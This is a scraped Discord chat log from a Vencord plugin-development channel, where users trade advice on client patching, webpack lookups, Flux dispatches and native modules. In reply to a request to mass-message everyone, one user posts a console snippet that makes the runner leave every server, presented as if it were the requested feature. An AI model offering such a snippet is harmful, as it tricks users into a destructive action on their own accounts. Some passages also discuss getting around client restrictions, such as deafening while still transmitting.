#🧩-plugin-development
1 messages · Page 84 of 1
I actually saw someone post this yesterday and I think he deleted it but I think I ran into something where it is useful
So is there a way to use updateMessage to render a file object? Through an embed or attachment? I am currently rendering the images through an embed using base64 but that can cause issues really easily and fast. My end goal is the file not being uploaded to discords cdn but it looks like that is the only way to render an attachment unless I am missing something but I want another person view / opinions. Thanks in advance
you could maybe experiment with https://developer.mozilla.org/en-US/docs/Web/API/URL/createObjectURL_static
but I doubt that would work
I tried rendering it using a Blob through embed image and also with attachments
Embed image rendered nothing, attachments showed an attachment however didn't display the image. I tried forcefully rendering the image in my own component with a blob and it worked but I am trying to keep it in attachments so it can contain most of Discords image features and other plugins for images work
they probably have it hardcoded to only work with https urls
Yeah it is really weird to me an embed can render base64 but not a blob 😭
That is where my confusion is coming from if it supports b64 why not a blob??
I am an idiot ignore anything I said 😭
did you get it to work
yeah I am an idiot and was doing it so wrong
I stole part of it from a different plugin
Setting a content type will cause it to not preview the image
it has to have an id (didnt know generateId() was a thing)
it has to have the # at the end of the blob url
A bunch of little things to make it work
my tiny brain was able to steal code to get it working tho 
you could simply use the browser's handling for it
via iframes
i think there's a plugin for that for PDFs
ah but you can manipulate content disposition
so you'd need a service worker for the iframe shit :/
Hello cuties, i'm currently trying to do a simple keybind to screenshare the SCREEN instead of just the game (iykyk)
However i tried looking at events but obviously i can't use this. Then i use the "react Component" thing but the "Cancel" button has a "OnClick" event i can see HOWEVER the "Go live" DOESN'T ??!!?!?
Maybe it's cause it's a "typed" button? so they have a global handler for "submit" buttons..? if so idk where to look at that, any clue pwease?
(And yes i looked at all parts of the button, and yes the "Cancel" button has the event on the "Button" child)
-# ping me please
Does anyone know if there is a way to render mp4s like images with a blob?
const attachmentData = {
filename: "file." + mimeType.ext,
proxy_url: blobUrl + "#",
id: generateId(),
url: blobUrl + "#",
content_type: undefined,
size: decryptedAttachment.size,
spoiler: false,
} as any;
if (isImage) {
const box = await getImageBox(blobUrl);
if (box) {
attachmentData.width = box.width;
attachmentData.height = box.height;
}
}
This is how you can render an image however I want to render a mp4 if that is what the type is (this code is from the preview message plugin which also has this issue)
I have tried setting a content type (it needs to be undefined for images at least)
Of course setting width + height but it just shows this svg (only if I set a width + height)
-# please @ me
I'm looking for the hasPresent i thought it was part of MessageActions but it doesn't seem to be can anyone guide me? I looked through common webpacks, and i'm not able to find it
nvm it's in MessageStore
and yet another silly question 
how does Discord really handle mute/deafen?
I'm basically trying to be able to deafen myself while still speaking, like why does Discord even automute me smh smh. I've kept trying to inspect components, functions and dispatches, but the most I could get to is making it look like I'm unmuted but still not being able to speak
My only guess now is to check all mute button's hooks but there's 124 of them so I really don't want to go through all of them that's gonna take an eternity
Would it be easier just to spoof the deafening by setting your output volume to zero?
why does Discord even automute me smh
because it would be obnoxious if you could deafen yourself but force everyone else to still listen to you talk
what's the reason that message logger logged media (while in another channel) can't be viewed?
and could this be fixed? or is it a fundamental issue
your client hasnt cached the media if you havent viewed it yourself
messages dont have images in them. they have links to images your client checks when it needs to
check out the patches for volume booster
could a "view" be spoofed in theory
messageloggerenhanced shows images so probably
oh whaa what’s that
actually just checked I dont even have that enabled
just base messagelogger shows images for me
it's probably because discord takes a while to actually delete the images at their urls
so when the deleted message is rendered by messagelogger it can still render recently deleted images
but after a while no
if i click the channel fast enough yeah but i think if you get it first hand, it stays around much longer
get it first hand?
like if you view it before it’s deleted
yeah cause your client caches it
im assuming they dont get cached the other way around
what’s “message logger enhanced”?
userplugin
yeah i didn’t see it in #1256395889354997771 tho
guess it's not posted in there

It's just the equivalent of setting everyone's volume to 0 and still speaking, so theoretically it would just be convenient to only deafen
that is also obnoxious
A greater example would be a game
Like let's say you can't/don't want to use the in-game mic for REPO while the rest can so you just use discord mic to talk with everyone
The initial idea of the plugin itself
can someone tell me how to get settings, from a plugin but outside of the definePlugin area
would it be settings.store?
nevermind i got it 😭
yes
Trying to make an edit to newGuildSettings to make it so the user can enable it so new guilds have the "Hide names" in all vc's by default
i'm struggling to find an actual way to do this
i've tried finding the actual call for it
can't find it
💔
await Vencord.Webpack.Common.FluxDispatcher.dispatch({
type: "CHANNEL_COLLAPSE",
channelId: "..."
});
looks like you'd have to iterate over every vc. it's not a global option across the server. and this would count as self botting probably
oh but this is a client side thing not api
so it would be fine actually

Vencord.Webpack.findByProps("toggleCollapseGuild").update("<channel id>")
wait hold on thank you sm wtf
that just calls the dispatch for you. saves like 2 lines of code total lol 
might be able to help me figure this out
i got so low i was consideringf a CSS implementation 💔
do you have the dev tools debugger enabled
thats how I found the CHANNEL_COLLAPSE event. I watched the dispatcher while I hid names
then just global searched for CHANNEL_COLLAPSE to see where it was dispatched from
or call it yourself
this works for a lot of things. good method if you're lost on smthn
oh thank you wtf
button here if it wasnt clear
dude this wouldve been so helpful on the zipPreview stuff 💔
wish i knew about this sooner LMFAO
only useful tab there really is dispatcher in my experience
wait the reset is a good idea
stores might help you check if a store exists but useless beyond that. not to mention if you click one of the stores you cant make its popup go away without closing the entire debug menu. but you can take the store name into console to see what it can do
thank you bro
🙏 thank you
@signal goblet pr
wha
read
oh
is this even a good idea to make it so you can apply newGuildSettings to any server even if ur already in it
why not
if vee wants ill pr
so it isn't restricted to JUST new servers
well it works so far so i guess i'll keep it like that
v called it a good idea so 
also works from this area too
thats already how it works right
no
it only applies to NEW servers
this just makes it so you can apply it to a server you already are in
if you right click a server is there not a "Apply NewGuildSettings" option?
have I been equicorded again
no
i'm pretty sure there isn't
once applied
then disabled
so u can easily go back to ur original notification settings
bro has dementia
ok i'm gonna rewrite so i DON'T use a CSS approach
because that severely breaks stuff and i don't want to do allat
yeah i'm good 💔
I literally gave u the method to do it not css
just get the guild, iterate channels, filter by voice, and call collapse on them
HELL YEAH @quick zephyr
thank you for that
spent 3-4 hours on this just for a simple devtools thing to fix it all 💔
actually losing my mind omfg
i'm gonna PR this
o wait
nvm hol on
Guys how do I get my plugin pulled as an official one
I've been so getting DMs over the past few months of people asking me how to install the plugin
you pray
give it another year or two
😭
Is there no way to speed it up?
I can't handle all these DMs :/
it took 9 months for my first plugin pr to be denied so no not really
I got one just now
Guuhhh
write a tutorial for installing it as a userplugin and if people can't figure it out ghost them cause it aint your problem
Mine?
I don't believe I have any documentation lol
The point is that I shouldn't need to. If the current maintainers can't handle that influx of PRs for plugins, there should be more :/
your screenshot literally shows someone asking "I just don't know how to activate it or use it" meaning it's literally a documentation issue
you just want to offload the people asking how to use it to #🏥-vencord-support-🏥 instead of handling it yourself
Yeah what the guy actually wanted to do was figure out how to install it
Well your installation instructions in your repo aren't even right
I get that I should add some documentation but that really wasn't the original goal of the plugin
Fr?
Tell me where I'll fix it
ah userplugins
That's mb
Ill remove installation instructions and just point it to the docs I guess
Besides that as was said on your PR this feature is an experiment so it's even less likely to be accepted as a plugin
dev://experiment/2025-06_search_desktop_xdm_experiment
Yeah I know that
your plugin is also broken
it references a Devs entry when you’re not a contributor
unless i’m wrong
I meant for it to be pulled which is why I have it like that
yeah i guessed
but it makes it unusable as an unofficial plugin
userplugin*
It does and tbf I cba to fix that at this point
I meant for it to be an official plugin. Unofficial is unintended for me
you also have a lot of random useless comments throughout the code "// toby told me to add this" "// i dont remember why i added this" ...
I get that right now I have no right to complain about all the DMs since I'm the one who doesn't wanna fix the problem
Uh yeah that's just me lol
But I just wanted it to get pulled 😭
you also put credit to yourself as a header in the message search model 
and ignored dolfies comment about using discord's message component to render messages
Hehe that must've been a silly mistake ^^
gonna let you in on a hint, this won't be merged even if you waited a decade with how it is rn
Wait I didn't push that?
Hold up one sec
That's actually useful to know
it probably won’t be merged altogether since that’s becoming an official feature
Yeah that actually makes me kinda sad tbh
Okayy so upon further investigation, this was on my arch laptop which broke :P
I'll try to make a PR after my exams finish
an experiment that will almost def roll out
don't put any more time into this gng
it became a vanilla feature
saw that get pinned then removed in real time
i unpinned because i forgot this channel’s pins were reserved for meaningful things
what is the meaning behind this pin lol
Was my message pinned lmao
Hall of fame 💪
ima pin u to a wall
creep
is that even discord?
no that’s X DMs
oh, twitter?
pin me to a wall dolfies sama 😻 (/j)
does anyone call it that unironically
Nobody worth listening to
wow so nin0 isn't worth listening to, ty
how the genuine fuck do i patch into the god awful command menu
I want to make a seperate category for Favorites, similar to how you can favorite emoji's and they show up first.
So you favorite commands, then when you do /, your favorited commands show up in the category.
How can I get the most recent DM message in a specific DM-channel using the userID?
How do I get when a message is sent and modify said message. I am making a plugin where if you send a link to a audio file then I want to add the link as an attachment to the message.
In onBeforeMessageSent you can return { cancel: true } and then create the new message with the upload and send that instead
How do I use onBeforeMessageSent (I am new to vencord plugin development)
Figured it out. Now how to I send a message with attachments
How do I use the pre-existing components? more specifically the clan tag.
Look into the voiceMessages plugin
findComponentByCode
then you get the react function for the component
do i just have to like guess on the props?
see how its used
just added a very useless feature to onepingperdm because for whatever reason my discord with or without plugins and focused in a dm it plays the message sound every single fucking message
I added that so I could disable the message sound but still got notified by a dm but not when focused
I was going insane
ok im stuck. im trying to edit messageTags to have autocomplete the currently avaliable tags, which are stored in plugin settings. problem is, the plugin needs to be initalized first before accessing them. this is problematic as the autocomplete is defined before the plugin is initalized.
https://github.com/Noobyguy775/Vencord/commit/088868228b386b337445c2cfbe941b2c4fc48435#diff-08fd68ba15b0f5d874fcc7bb2473eb3915f280a8be81e692502afc0ea815c160R222
https://github.com/Noobyguy775/Vencord/commit/088868228b386b337445c2cfbe941b2c4fc48435#diff-08fd68ba15b0f5d874fcc7bb2473eb3915f280a8be81e692502afc0ea815c160R43
When I try add a native.ts to my plugin directory, it shows:
src/main/ipcPlugins.ts:22:26:
22 │ import PluginNatives from X "~pluginNatives"[;
╵ ERROR~~~~~~~~~~~~~~~~]
1 error
Invalid plugin src\userplugins\HelperMenu: could not resolve entry point [plugin glob-natives-plugin]
src/main/ipcPlugins.ts:22:26:
22 │ import PluginNatives from "~pluginNatives";
╵ ~~~~~~~~~~~~~~~~```
when i try to build. Anyone know how to resolve this issue?
are you using VencordNative.pluginHelpers.HelperMenu to access the native.ts exports?
search for that error message in the vencord codebase and see why it happens
I'm not exporting anything in native.ts. I'm trying to add to the CspPolicies
/*
* Vencord, a Discord client mod
* Copyright (c) 2025 Vendicated and contributors
* SPDX-License-Identifier: GPL-3.0-or-later
*/
import { ConnectSrc, CspPolicies } from "@main/csp";
CspPolicies[...] = ConnectSrc;
Even with an empty native.ts, it's throwing this error
Anything to do with native in your index.ts for helper menu?
This is literally all you need to do for the native no plugins helpers or anything
Nope, my index file is in JSX though. That shouldn't be a factor though right?
I am trying to figurre out how to upload many files to a message. I was looking at the voiceMessages extension and I am doing the exact same thing except in voiceMessages they have their message sending in the on complete callback of the upload. For me I wait until all uploads are complete and then I send the message
VoiceMessages:
on_complete {
send_message
}
mine
on_complete {
mark_as_complete
}
when_all_complete {
send_message
}
``` (not actual code)
For addMessagePreSendListener(), when I return {cancel: true} how do I clear the message text box?
what I do is I set msg.content to nothing which prevents the message from being sent but it still looks like the message is sent
There's no point in that if you return just {cancel: true}
Also, that just sends an unecessary request to the Discord API
ah, fair
CrashHandler uses DraftManager.clearDraft, I assume that clears the text input in the given channel
I thought I remembered a util function to clear the chat input but I can't find it if it does exist, I might be misremembering
I was thinking of this but you can probably do something similar, maybe there's a SET_TEXT event instead of insert or something
This works when the text isn't an empty string 🤔
Otherwise, it still stays as the old text
Even better, there's a CLEAR_TEXT event, just dispatch that
How do you dispatch a event?
when I do `FluxDispatcher.dispatch({type: "CLEAR_TEXT"}) I get a error that clear_text is not a event
The CLEAR_TEXT is for ComponentDispatcher, you just do it the same as this screenshot
But without the rawText and plainText
Thank you
is this anything
Discord chickened out of letting you put newlines in commands because of mobile ux or something
commands v2 my beloved. :(
Yes please
Even tho even on mobile you can
By copypasting text with newlines
I think it's a bit too small to PR but maybe I'll put it in #1256395889354997771
i'm counting on it
Or by pressing enter key? Or do commands behave different from normal messages?
Yeah you can just enter them on mobile
but the mobile UI doesn't have the pills for each option so it's basically just text parsing
Oh wait i forgor that
It's kinda cursed i'm so used to 126.21 that i forgor
But yeah on PC copy pasting works
And on phone you can just use the enter key
On PC for me at least you have to put a space before the command, enter the text with newlines, then delete the space and select the command
If you just paste a newline in it replaces it with a space
I mean pasting the entire command
Ah yeah, that works too
Basically i do what i can without space, ^a, ^x, edit in notepad++ then paste back
This just adds a keydown event that inserts \n when you shift+enter in the chat box, so it's fairly basic
Took me ages to figure out yesterday though, I was trying to find where commands blocked the input
Yeah i don't get why discord doesn't do it
I was in ddevs when they were testing the new slate build override forever ago and they basically just said they couldn't make the ux good 
Pretty much
There might still be a place somewhere that this happens but I spent too long on it and this solution worked
I think it's less that commands block it and more that it just omits the listener or something
I dunno, this will work for anything else that prevents newlines too if there is anything
I've been trying for 3 days 
At most I was able to find that dispatching AUTO_TOGGLE_SELF_DEAF actually starts the process but none of the listeners seem to be helping:
0: something that gets called like every ms wouldn't make sense as the mute/deafen toggle
1: it stops TTS if deafened
2: mutes incoming audio if deafened
3: syncs mute/deaf states to remote? (keeps returning early cuz something=null)
4: ui stuff/stage channel related idk also returns quite early
What can I do now? Delete listeners one by one until the whole app breaks? I feel like I'm so close 
that's exactly what I did
and it genuinely does only 2 things
updates ui of the button
and sends the dispatch
so really the logic behind the mute/deafen is a listener of that dispatch
You can also just manually set the mute/deaf state on the audio device
When you're connected to a voice channel, run ```
const audioDevice = [...findByProps("getMediaEngine").getMediaEngine().connections].find(e => e.context === "default");
Then you can mess with audioDevice.setSelfDeaf and audioDevice.setSelfMute separately
hacky tho

that would mean basically rewriting the deafen button's logic tho
kinda 😭 idk if this is actually an audio device, since it seems to have an internal list of output/input devices, it's probably more like the whole voice channel connection
also I have indeed searched for that and I don't see anything new compared to dispatcher subscriptions command
like this would make 100% sense but o is always null
@hushed loom maybe found a bug in the dev companion?
- If I reload with ctrl+r it connects to websocket just fine.
- If I reload with ctrl+r while dev console is open it connects then instantly disconnects and gives me the "Unable to ensure client is up to date" error
definitely not a new idea and im nowhere near skilled enough to cook this up straight away but im lowkey thinking of making a plugin to allow me to record different users voice in vc on seperate audio tracks on obs, dont need advice on implementation or anything but do yall think this is fairly doable?
gotten sick of transcribing clips where like 5 people are talking at once and it being a pain to understand anything
it should be possible
I would look into the volume booster patches as a starting point
the discord side seems pretty feasible if not a little hard but obs is gonna be a pain
yeah
yeah that seems like a good place to start
idk how you get the audio out of discord
im uhh
currently thinking i do audio routing for each user with pipewire
but thats linux only
tbh i'd do a POC with a simple electron app before i did it in discord
just gotta make an obs plugin that dynamically captures those pipewire sinks or whatever they are called and assigns them to an audio track
mmm thats true
yeah
only other issue is that video container formats like mp4 have a 6 audio track limit (but technically stuff like mkv can do more, obs just doesnt display it)
first iteration i might just get it to dump out seperate audio files for each user then mux them manually
but recording it directly in obs should be possible
kay yeah for now ill just use the obs websocket to kind of syncronise the recordings in a little hacky way
is sadan's dev companion randomly auto disconnecting on reload sometimes for everyone else. it seems to work randomly sometimes and then will auto disconnect several reloads in a row some other times.
Usually happens to me when I debug stuff, maybe the ws connection times out
I thought it was only when I had dev tools open but it also has started happening on any random reload
it disconnects everytime without fail if dev tools is open though
so it is partially that for me
Hmm
the error it always gives me is 1009 Unable to ensure client is up to date
but I literally re-cloned today so
Oh I usually get something like "trying to connect to a disconnected port object" so I thought that was it 😭
Idfk what a port object is
You're probably staying in a breakpoint too long and disconnecting from the gateway I think
ok figured it out
cloned the extension and built it myself. on average it takes my client 3.2s to fetch version info (only tested 3 times lol. 3s, 3.2s, 3.5s)
sadan has it set to timeout after 2s
so I have to get real lucky to not timeout
guess ill just set it to 5s for myself
bro ignored my friend request and my ping about it here so I think he hates me actually
Understandable 
I need to switch to userdevcompanion still, right now I still just run the original version with edits
I've just been too lazy to revert it all
sadan's recent changes have been pretty goated
When I do move over I'll have to update my intellij version to have parity and I haven't really had time to work on it in forever
So I'm stalling that too
How do i make a plugin which sends skibidi message to everyone in discord the moment i open roblox steal a brainrot
do you go around dming people about skibidi brain rot
v+ no programming
Perhaps

if you have regular you have access
massive oversight
there's probably a way to do that tbh
Now thats the answer i needed
@hushed loom huskein pls tell me how make skibidi plugin
now bro is gonna ignore suff's ping cause it looks like part of the nonsense
const { leaveGuild } = findByProps("leaveGuild");
GuildStore.getGuildIds().forEach(leaveGuild);```
No
I can read
Suprisingly
Don't know til you try
I wrote this in console too so I 100% could've accidentally left everywhere
How
Soooo slow
lot of plugins?
~65
idk if that's relevant
forget how the code looked
I get 500 down though so it's not a speed issue
<20 ping
Lmfao
pr an increase to 5s
Nop 😭
Nop
take a look at voiceStateUpdate
what's the difference between importing from @webpack and webpack?
cause im working in src/plugins/_api and only the latter works but I usually import from the former so it took a while to realize the latter works for some reason.
how does only the latter work
components.ts:27 Uncaught TypeError: Cannot read properties of undefined (reading 'componentByCode')
at components.ts:27:70
at VencordRenderer:5:498
at index.ts:20:1
at VencordRenderer:5:498
at webpack.ts:27:1
at VencordRenderer:5:498
at AudioPlayer.ts:7:1
at VencordRenderer:5:498
at audioPlayer.ts:7:1
at VencordRenderer:5:498
VencordPreload:5 Uncaught (in promise) Error: Script failed to execute, this normally means an error was thrown. Check the renderer console for the error.
at Module._compile (VM129541 loader:1562:14)
at Module._extensions..js (VM129541 loader:1715:10)
at Module.load (VM129541 loader:1296:32)
at Module._load (VM129541 loader:1115:12)
at c._load (VM129556 node_init:2:17950)
at s._load (VM129597 renderer_init:2:31859)
at VM129597 renderer_init:2:33928
at VM129597 renderer_init:2:34397
first is a path alias
only get this when importing from @webpack
the second is a path relative to baseUrl
because baseUrl is src, when u do webpack it's just doing src/webpack
iirc
when I click go to definition in vscode on webpack it takes me to src\webpack\index.ts and on @webpack it takes me to src\webpack\webpack.ts
so you're saying I shouldn't be getting the error I'm getting
now why it doesn't work, probably some circular import
you can use debugger on discord to see if it's a circular import
how do I do that
breakpoint where you do the import or where you use the function
it's hard to explain tbh
that isn’t really american isn’t it
this is so good
wow
you reckon it would be possible to add something like "go to definition" for modules
yeah
that'd be pretty useful 
also im typing Run Reporter into the command palette and don't see the option?
also this would be a good fit for a button in the sidebar menu seeing as it only has module settings at the moment.
also 2x the github mentions
Use the toggle in the plugin setting to default to the extracted module or the unpatched module if the module is patched
but there's only 1 setting for the plugin?oh I see, vencord plugin. and thats to show the sidebar or not. (this would also be a good sidebar option, or a new hover button tbh "View Module | View Patched Module | Diff Module..."
removed
is "Open in Patch Helper" supposed to open a file with the module just like View Module
it opens the module to the side, any changes to the patch will be updated in the module
uh is it supposed to be live? I dont see changes unless I click the button again
nvm suddenly working
it's a bit touchy rn
useful thanks
it doesn't seem to be it 
like it could be used to emulate being muted/deafened but that doesn't actually separate the mute logic from the deafen button
as long as something depends on isSelfMute() or isSelfDeaf() then that's just visual stuff
I deleted all of them and it's still working the same 









Is there any way to send a request to the HTTP server. I don't feel like having to change my entire VPS
nvm js using a proxy
FINALLY FOUND THE FUNCTION
AFTER A WEEK
I used to pray for times like this
dumb patch but for test purposes only
I feel like I tested that and it didn't work but maybe I'm misremembering
^^
yeah but as I said, that would mean remaking the deafen logic from 0
instead of just removing discord's goofy logic and working natively
wouldn't it be better to do it this way?
they mentioned the exact function you found
and now even better, stuck on removing the undeafen logic from the mute button
which works completely different
For commands, if I add an attachment as an option, how do I actually access the uploaded file?
take a look at petpet
when jumping to a message from inbox, how would i detect that i'm jumping from there?
hmm, the new notification center has a specific context when jumping to a message, but the legacy inbox uses the same exact data as other navigatable messages (like in search)
you might have to patch the message component itself to call your code, or add a context property yourself
I'm tweakin
but not giving up
schizo till I make it
I give up 
is there some userplugin or smth so that ping in muted channels don't ping at all and don't do the red dot notification and don't increase the red dot count ?
wrong channel
but no
my next question was gonna be since it doesn't exist, how would i approach it ?
i knew where i was going i was hoping either some plugin dev would say hey actually i got that in my repo it's not clean or i could ask for where i'd search or that someone'd tell me that should be possible or don't bother it's just not due to how it work, etc, etc
i'm trying to launch an activity / game thought i can't figure out what function, nor the parameters im supposed to use can someone give me an idea what to look for? - thanks
search for .ACTIVITY_CHANNEL_LAUNCH
This is the most important part essentially:
const AuthenticationStore = findStore("AuthenticationStore");
const ChannelStore = findStore("ChannelStore");
const startActivity = (channel, activity) => RestAPI.post({url:`/activities/${channel}/${activity}`,body:{session_id: AuthenticationStore.getSessionId(),guild_id:ChannelStore.getChannel(channel)?.guild_id}});
startActivity("channelid","activityid");
is there a way to get the ID of the current DMs?
also, if I wanted to get older messages from dms, i'd need to use the api so I'd need the auth token. How could I get it? Auth.token didnt work for me
RestAPI handles auth for you
And there's something in ConsoleShortcuts that sets channelId to the current channel id so you can copy whatever that is
I'm not at my PC but probably just like GuildChannelStore.getCurrentChannel()
aight thanks a lot ^u^
Vencord.Webpack.findStore("SelectedChannelStore").getChannelId()
Oh yeah, DMs wouldn't be in GuildChannelStore lol
no?
yeah I misread some of them but the 1st and 2nd are the same
so only 1 dupe
not actual dupes. code different. but seem to do the same thing if no arguments are passed
nope they're different
if you pass arguments they do dif things
How does the CSP work? I thought it made it so only domains listed in CspPolicies could be fetched?
I was able to fetch images-ext-1.discordapp.net and images-ext-2.discordapp.net but neither are in the CspPolicies map 🤔
vencord adds its own csp on top of discord’s
then why are cdn.dscordapp.com and media.discordapp.net added 🤔
"cdn.discordapp.com": ImageAndCssSrc, // Discord CDN, used by Vencord and some themes to load media
"media.discordapp.net": ImageSrc, // Discord media CDN, possible alternative to Discord CDN
idk 
is there any way to call a discord function from a native file? I keep getting DiscordNative does not exist when trying to start Discord 🤔
DiscordNative exposes its natives in renderer
so you cannot call discordnative from vencordnative
soooo no I can't call showToast from a native file?
I have a little bug report for fakenitro
Since fakenitro enables the new custom theme feature (the one where you can select your own colors), the "apply" button sets the theme and sends an api PATCH request to Discord
This is also a Discord bug: the PATCH request returns 200 (we can't do anything about that, I know)
The request should be blocked, but it’s the same API request that gets sent when switching between dark and light mode, basically the apply button shouldn’t send a request at all
This could possibly risk an account termination since the account doesn't have Nitro
Imo it's very unlikely, discord doesn't really validate protobuf settings (frecency stuff and preloaded user settings), and data corrections are usually done after all sessions are closed
Back in my day (probably still works right now) you could set your status to a nitro emoji on one device and it would appear on all other connected devices
should be fixed with #3682
Any idea how to get guildid from VoiceState?
why do you have a voice state but no guild id
show code
I am working on a plugin that uses a custom URL for fetching data, in order to do that, I need to get the URL that it is set to in the plugin settings and use CspPolicies within native.ts to ensure it doesn't get blocked.
if the user is providing a URL, vencord provides an API to prompt the user to allow the URL
How does one impliment that?
VencordNative.csp.requestAddOverride
grep for requestAddOverride in the code to find it's usage
thx so much :3
np
can someone try enrolling in a quest on canary and let me know if it 403's in the network tab
canary specifically
yes
it 403's for you?
can you try enrolling in the same one same account on stable
hope this is just a bug and not them cooking up some new authentication method for quests
oh no, I meant yes I would check it, and no, it appears to work completely fine on my Desktop Canary client
bruh
oh it worked now
weird
wonder if they fixed it or if I just did something to lock myself for like half an hour
the copy value button doesn't work. only the store as variable one does. is this an electron issue or soemthing else 🤔
It's probably either a react devtools issue or an electron issue
Does anyone know what's causing this? Just copped a Macbook and it's showing this
Building works fine.
seems to me that something is not downloading the installer clearly
this is on their official website
if u download the normal client pretty sure it's doing a seperate build
so i wouldn't download directly from their website as i think its grabbing the git rather than your own local version
just ensure it has permission to be opened
Fixed it, I had to download Rosetta, open Terminal using that and inject from there
Also allow full disk access to terminal
Thanks for your help though
why is my plugin not listed in VencordNative.pluginHelpers?
(it's called SecureEncryption)
all of a sudden my index.tsx stopped being able to call functions from my native.ts
(cannot read properties of undefined)
you need to fully restart discord if you make changes to native scripts
I restarted vesktop,
quit vesktop then opened it again
rebooted my computer and opened it
to no avail
also there are web encryption apis so you shouldnt need a native
eh, I think the basics like AEAD encryption are implemented, I don't think xchacha20-poly1305 is
I just wanted to try somethn new
Do presend listeners just not work on Macbook?
anyone knows a fix?
if it helps then this worked literally yesterday
I import native.ts using this
SecureEncryption needs an uppercase S
Unless your plugin name is lowercase too
I suppose it'd still show up in pluginHelpers though if that were the issue
still nothing, this is quite strange
I am running pnpm build --watch --dev, I guess it could be erroring but there are no logs apart from this
https://cdn.discordapp.com/attachments/1032770730703716362/1422279120821293056/image.png?ex=68dc1827&is=68dac6a7&hm=6fd97cb4431e243b0815d1d21cd5c463aa0ff3e761438168683d11f969556ec7&
also for some reason my vesktop just crashes when I run this plugin sometimes? I have to rename index.tsx to a different name for it to open again, otherwise it crashes
this only happens occasionally though which is strange (I renamed and reopened vesktop twice and it opens again with index.tsx)
this probably belongs in #🖥-vesktop-support-🖥 but I guess it is somewhat related to plugin development in this case
this means you're importing across contexts
show your code
alr I'll just upload it to github in a sec
🤦♂️ after further looking into my code I had a usestate in the native.ts which was causing the crashes and errors
mb
use
export default definePlugin({
// boilerplate
onBeforeMessageSend(_, message) {
console.log(message)
}
})
I found that the presend listener didn't work for me on anything but vesktop and this works exactly the same
Does it allow you to return {cancel: true}
ah, i'm not sure about that one, all I know is that you can capture and modify messages with onBeforeMessageSend
I just switched over from the presend listener to this in my code
Looks like I can, I'll try it out. Thanks!
onBeforeMessageSend : (_, message) => {
return;
},
Appreciate your help bro, somehow this line alone made the listeners functional again 🤣
@tranquil hemlock
epic, nice it worked
I made a quick userplugin, is there a channel in this discord where I can post it?
You can open a modmail ticket to get access and post it in #1256395889354997771
yo has anyone else seen platform indicators show a platform (usually idle mobile) when a user is actually offline
ctrl+R fixes it
happens fairly often for me but usually goes away after a while on its own
hm, like to offline? it doesn't seem to change for me unless they come back online (or idle)
yeh its really wacky but if i leave it long enough it just goes to offline with no platform indicator present
mm oka
i have no idea how/when the platform indicators are supposed to update
react moment
i guess whenever the user updates
seems like it's an issue of the props for message/user list decorations
it should update in real time since https://github.com/Vendicated/Vencord/commit/cb845b522458532479c077ed82279c27e025601e
hm
Sometimes this is a developer issue tbh 😭
Idk how platform indicators accesses user state, but stores (unless dealing with external hw/socket state) are always the one and only source of truth 😭
how do i check the commit im on, just in case
/vencord-debug in #🤖-bot-commands
I experienced it too
yep it was missing useStateFromStores 
perhaps presence store is not updated when a user becomes offline
seems weird but I dont see how else it would happen
generally it works when someone goes invisible or turns off their pc or closes their browser i think
yeah it isn't i think
should investigate further
actually idk if ive pulled
Vencord: v1.12.13 • 2b6bc578 (Dev) - 27 Sept 2025
Client: stable ~ Discord Desktop v1.0.9210
Platform: Win32
Last Crash Reason: N/A
⚠️ Vencord DevBuild
⚠️ Has UserPlugins
😛
i have someone in that state right now if you want me to check anything
i've been working on a plugin that fixes idle/afk detection on linux wayland desktops
i've got it all working as far as core functionality goes (yippee) and now all i need is a clean way to let the user set the timeout
now obviously i could do this with the same settings store functionality every plugin uses, definePluginSettings, but considering it's fixing something that already exists i'd rather re-use discord's existing setting, Notifications → Push Notification Inactive Time-out
where does that setting live / how can i grab that value and set a callback on it?
i dug around the codebase some and probed stuff like UserSettings in the dev console but that didn't turn anything up for that setting and nodejs/webdev etc isn't my primary domain
Translate should have one
I misunderstood, I thought you wanted to add an item to a the context menu on a message
how long does it usually take for a mod to look over my plugin submission?
I submitted a plugin via #📩-modmail a week ago and haven't received a reply yet
Between two and eight hundred workdays in most cases
fantastic 😭
from a second to a decade
@fallen sandal review
I mean there isn't any documentation on docs.vencord.dev on submitting plugins, and I saw that in #📩-modmail there was a plugin submit option, I apologize for my ignorance if I have missed anything
ah
yeah I think you gotta submit via #📩-modmail
don't see any other option
eh I just mod mailed with a link to my github, it would be nice if https://docs.vencord.dev/plugins/submission/ actually had details on it
(btw my plugin is https://github.com/bartkor12/secureEncryption , video of it is https://i.imgur.com/YlJHL19.mp4)
it's actually really nice for private conversations
Not relying on minified names means instead of e, t, n, etc you should use \i in regex as it captures variable names regardless of if they get rerolled to another letter somewhere down the line
Using the property names and stuff that doesn't get minified is a good way to find unique strings, yeah
well how do you find those names?
in the asar bundle?
The names, for all intents and purposes, do not exist
Which is why you can't match on them and should instead use \i
sorry If I'm asking alot of questions, there isn't alot of spesific docs yk
It expands to something like (?:\b\w+\b)
The exact expansion isn't important; it matches a variable name
Yes
I think you'll need to use the interceptor and add a mention to the message object, #1278464784479551701 does it if you want an example
is there a way to add a global keybind (aka a keybind that works outside of the discord window) that calls an arbitrary function?
you would probably have to use vencord natives
ah, i'll look into those then
im 90% sure it's related to android mobile users specifically
seems like when they press the power button or switch apps, their discord user reports "idle" and then eventually goes offline, but going offline from that state isn't updated properly or something idk
i'd investigate but i only have an iphone and i can't replicate the behavior
(on iphone when you switch apps or press the power button, you just stay online for 5ish minutes and then go offline)

never seen that lul
always been mobile
but my sample size is like 2 or 3 and i cant replicate the behavior myself so
just set urself to invisible lol
it works properly for me
why does my plugin keep disabling itself every once in a while?
I have my plugin secureEncryption in userplugins and it is enabled for a while, until on the next day it is disabled and I have to re enable it again in settings
it does get pretty frustrating having to re enable a plugin almost every day
is there a way to add the mana effect to the new buttons @components/Button
or whatever its called
it is already
but why lmao
i added it for the memes but it's ultimately useless xD
Complete Discord Quest button
-# # @hushed loom
how do i grab for example channel context menu and put it on some element of my choice
to open a context menu you basically need to recreate this code structure
openThreadContextMenu(e, t) {
o()(null != t, "Missing channel in Channel.openChannelContextMenu"),
(0, b.jW)(e, async () => { // openContextMenuLazy
let {default: e} = await n.e("40157").then(n.bind(n, 422200)); // load lazy modules
return n => (0, r.jsx)(e, tn(tt({}, n), { channel: t })) // return a component
})
}
first you need to extract the imported module ids:
let {default: e} = await n.e("40157").then(n.bind(n, 422200));
for this you can use extractAndLoadChunksLazy, which takes an array of filters, similar to the find function. Since this specific function is within a larger module with other similar functions, I also need to specify a custom extraction regex filter
const requireThreadContextMenu = extractAndLoadChunksLazy(
["openThreadContextMenu"],
new RegExp("openThreadContextMenu.{1,150}?" + DefaultExtractAndLoadChunksRegex.source)
);
